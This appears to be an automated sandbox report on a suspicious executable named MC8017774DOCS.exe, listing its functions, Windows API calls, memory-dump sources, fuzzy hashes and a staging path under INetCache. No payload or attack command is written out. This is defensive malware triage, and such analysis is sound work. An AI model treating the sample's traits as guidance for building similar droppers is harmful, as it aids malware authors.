Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 99b224af46cdf8f89f3b15e0f2cf225334fcfe2526a8f22c9c92f8a7263cf905
Instruction ID: c073ba0ee5163cb04706f99935c2f3c73a5a9b1a05bee32f9da8622fc5c815d0
Opcode Fuzzy Hash: 99b224af46cdf8f89f3b15e0f2cf225334fcfe2526a8f22c9c92f8a7263cf905
Instruction Fuzzy Hash: 68D01272B04100D7DB50DBE4AF4899D73A4AB84369B348577E102F11D0DAB9D9515B29

Function 00404243 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,0040406E), ref: 00404251

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: f360a53124e97c409135d1b53ccadec94ff58fec8389da7a5f3de8c8d06ef766
Instruction ID: 5dee82f2d739acac93035fb571c052082ac1606baee7bb158d490297d0aa81d3
Opcode Fuzzy Hash: f360a53124e97c409135d1b53ccadec94ff58fec8389da7a5f3de8c8d06ef766
Instruction Fuzzy Hash: 99B09236190A00AADE614B40DE49F457A62A7A8701F00C029B240640B0CAB200A0DB09

Function 00403324 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,004030A4,?,?,00000006,00000008,0000000A), ref: 00403332

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014EA

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 4484e40c8847390ad24901e1c64382b1b039e93175f5d76bb293bea36d4a14a5
Instruction ID: a51ecd0892fb275ea92473d319bbbc5ec4fc6164fb370921ec18ec876cc9dfbc
Opcode Fuzzy Hash: 4484e40c8847390ad24901e1c64382b1b039e93175f5d76bb293bea36d4a14a5
Instruction Fuzzy Hash: A6D05E73E142008BD750DBB8BA8945E73A8F781319320C83BE102F1191E97888524A2D

Function 6E9B121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,6E9B123B,?,6E9B12DF,00000019,6E9B11BE,-000000A0), ref: 6E9B1225

Memory Dump Source

Source File: 00000000.00000002.2560495387.000000006E9B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2560404950.000000006E9B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2560576199.000000006E9B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2560603132.000000006E9B5000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_MC8017774DOCS.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 48dbb8e4c8f8ca428386e58555ef1fd3e1b904a63f28e80f17476d73618d95f8
Instruction ID: 16b9b287306c2c5edced05e883cd2cb4b662194eaa923d0e2cb8a494d082f272
Opcode Fuzzy Hash: 48dbb8e4c8f8ca428386e58555ef1fd3e1b904a63f28e80f17476d73618d95f8
Instruction Fuzzy Hash: B8B001F1E48900EFEF40DBB9CD4AF3636A8EF86705F448050FA06D9285E6B49C159A39

Non-executed Functions

Function 0040543E Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 0040549C
GetDlgItem.USER32(?,000003EE), ref: 004054AB
GetClientRect.USER32(?,?), ref: 004054E8
GetSystemMetrics.USER32(00000002), ref: 004054EF
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405510
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405521
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405534
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405542
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405555
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405577
ShowWindow.USER32(?,00000008), ref: 0040558B
GetDlgItem.USER32(?,000003EC), ref: 004055AC
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004055BC
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004055D5
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004055E1
GetDlgItem.USER32(?,000003F8), ref: 004054BA

Part of subcall function 00404243: SendMessageW.USER32(00000028,?,00000001,0040406E), ref: 00404251

GetDlgItem.USER32(?,000003EC), ref: 004055FE
CreateThread.KERNEL32(00000000,00000000,Function_000053D2,00000000), ref: 0040560C
CloseHandle.KERNEL32(00000000), ref: 00405613
ShowWindow.USER32(00000000), ref: 00405637
ShowWindow.USER32(?,00000008), ref: 0040563C
ShowWindow.USER32(00000008), ref: 00405686
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004056BA
CreatePopupMenu.USER32 ref: 004056CB
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004056DF
GetWindowRect.USER32(?,?), ref: 004056FF
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405718
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405750
OpenClipboard.USER32(00000000), ref: 00405760
EmptyClipboard.USER32 ref: 00405766
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405772
GlobalLock.KERNEL32(00000000), ref: 0040577C
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405790
GlobalUnlock.KERNEL32(00000000), ref: 004057B0
SetClipboardData.USER32(0000000D,00000000), ref: 004057BB
CloseClipboard.USER32 ref: 004057C1

Strings

{, xrefs: 004056A4

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 113d712a5db4ed50a1b1b5b673bec4020998c06132e16f1965ea7ae8cf20c9d1
Instruction ID: e2c232b37aba284685acfefcf9c5e68312cc9a4ea8bcb72f9f75ba3fcde89da4
Opcode Fuzzy Hash: 113d712a5db4ed50a1b1b5b673bec4020998c06132e16f1965ea7ae8cf20c9d1
Instruction Fuzzy Hash: 0EB15871900608FFDB119FA0DD89EAE7B79FB48354F00812AFA44BA1A0CB795E51DF58

Function 004046FF Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040474E
SetWindowTextW.USER32(00000000,?), ref: 00404778
SHBrowseForFolderW.SHELL32(?), ref: 00404829
CoTaskMemFree.OLE32(00000000), ref: 00404834
lstrcmpiW.KERNEL32(Call,007A1F20,00000000,?,?), ref: 00404866
lstrcatW.KERNEL32(?,Call), ref: 00404872
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404884

Part of subcall function 004058E1: GetDlgItemTextW.USER32(?,?,00000400,004048BB), ref: 004058F4

Part of subcall function 0040652B: CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\MC8017774DOCS.exe",00403347,C:\Users\user\AppData\Local\Temp\,76233420,004035B6,?,00000006,00000008,0000000A), ref: 0040658E
Part of subcall function 0040652B: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 0040659D
Part of subcall function 0040652B: CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\MC8017774DOCS.exe",00403347,C:\Users\user\AppData\Local\Temp\,76233420,004035B6,?,00000006,00000008,0000000A), ref: 004065A2
Part of subcall function 0040652B: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\MC8017774DOCS.exe",00403347,C:\Users\user\AppData\Local\Temp\,76233420,004035B6,?,00000006,00000008,0000000A), ref: 004065B5

GetDiskFreeSpaceW.KERNEL32(0079FEF0,?,?,0000040F,?,0079FEF0,0079FEF0,?,00000001,0079FEF0,?,?,000003FB,?), ref: 00404947
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404962

Part of subcall function 00404ABB: lstrlenW.KERNEL32(007A1F20,007A1F20,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B5C
Part of subcall function 00404ABB: wsprintfW.USER32 ref: 00404B65
Part of subcall function 00404ABB: SetDlgItemTextW.USER32(?,007A1F20), ref: 00404B78

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne, xrefs: 0040484F
A, xrefs: 00404822
Call, xrefs: 00404860, 00404865, 00404870

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne$Call
API String ID: 2624150263-2308116694
Opcode ID: 52b5712f2dd952f907a64875e1ccc77d7d09b953cf269de9d4a5e95fdb35a845
Instruction ID: d6689dd06746f62e3dccefeeeb603cce7d7bc9c76077680089f181f5c68842d6
Opcode Fuzzy Hash: 52b5712f2dd952f907a64875e1ccc77d7d09b953cf269de9d4a5e95fdb35a845
Instruction Fuzzy Hash: DFA190F1900209ABDB11AFA5CD41AAFB7B8EF85304F10843BF611B62D1D77C99418B6D

Function 00402104 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084DC,?,00000001,004084CC,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402183

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne, xrefs: 004021C3

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne
API String ID: 542301482-3732074636
Opcode ID: 6726bf14e95c28a8eef9ad412ca65ffc9ea6cc976661a48ac6a4b746f0d58001
Instruction ID: 8dfa29a236a07f1275cc6a79af1154fb3a8ffb17113c9066b1df84c51f017d98
Opcode Fuzzy Hash: 6726bf14e95c28a8eef9ad412ca65ffc9ea6cc976661a48ac6a4b746f0d58001
Instruction Fuzzy Hash: 4F413A71A00208AFCF04DFE4C988A9D7BB5FF48314B24457AF915EB2E1DBB99981CB54

Function 00402868 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402877

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 512375b0d91e1f35eaafe1d2d9ea6627de5ab3dbf7b488781e982afef0b9970b
Instruction ID: f65ff15fdb1f10fb5373ba158cef8787300933468326e23b7288bb8c2237705b
Opcode Fuzzy Hash: 512375b0d91e1f35eaafe1d2d9ea6627de5ab3dbf7b488781e982afef0b9970b
Instruction Fuzzy Hash: 87F0E271A10000ABCB00EFA0D9099ADB378EF04314F20417BF401F21D0DBB85D409B2A

Function 004043CD Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040446B
GetDlgItem.USER32(?,000003E8), ref: 0040447F
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040449C
GetSysColor.USER32(?), ref: 004044AD
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004044BB
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004044C9
lstrlenW.KERNEL32(?), ref: 004044CE
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004044DB
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004044F0
GetDlgItem.USER32(?,0000040A), ref: 00404549
SendMessageW.USER32(00000000), ref: 00404550
GetDlgItem.USER32(?,000003E8), ref: 0040457B
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004045BE
LoadCursorW.USER32(00000000,00007F02), ref: 004045CC
SetCursor.USER32(00000000), ref: 004045CF
LoadCursorW.USER32(00000000,00007F00), ref: 004045E8
SetCursor.USER32(00000000), ref: 004045EB
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040461A
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040462C

Strings

N, xrefs: 00404569
DC@, xrefs: 004045D7
Call, xrefs: 004045AA

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$DC@$N
API String ID: 3103080414-3199507676
Opcode ID: 2da216cdb10da56fdc38759a2ba284d26a9c8f7b49192765219d3b76b1da507d
Instruction ID: 7c305bb631aa8564409a9791ba7e53f932479190766108f73685c8e55a50eb1d
Opcode Fuzzy Hash: 2da216cdb10da56fdc38759a2ba284d26a9c8f7b49192765219d3b76b1da507d
Instruction Fuzzy Hash: 3B61A0B1900209BFDF10AF60DD45AAA7B69FB85344F00843AF701B61E0D77DA951CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,007A7A20,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
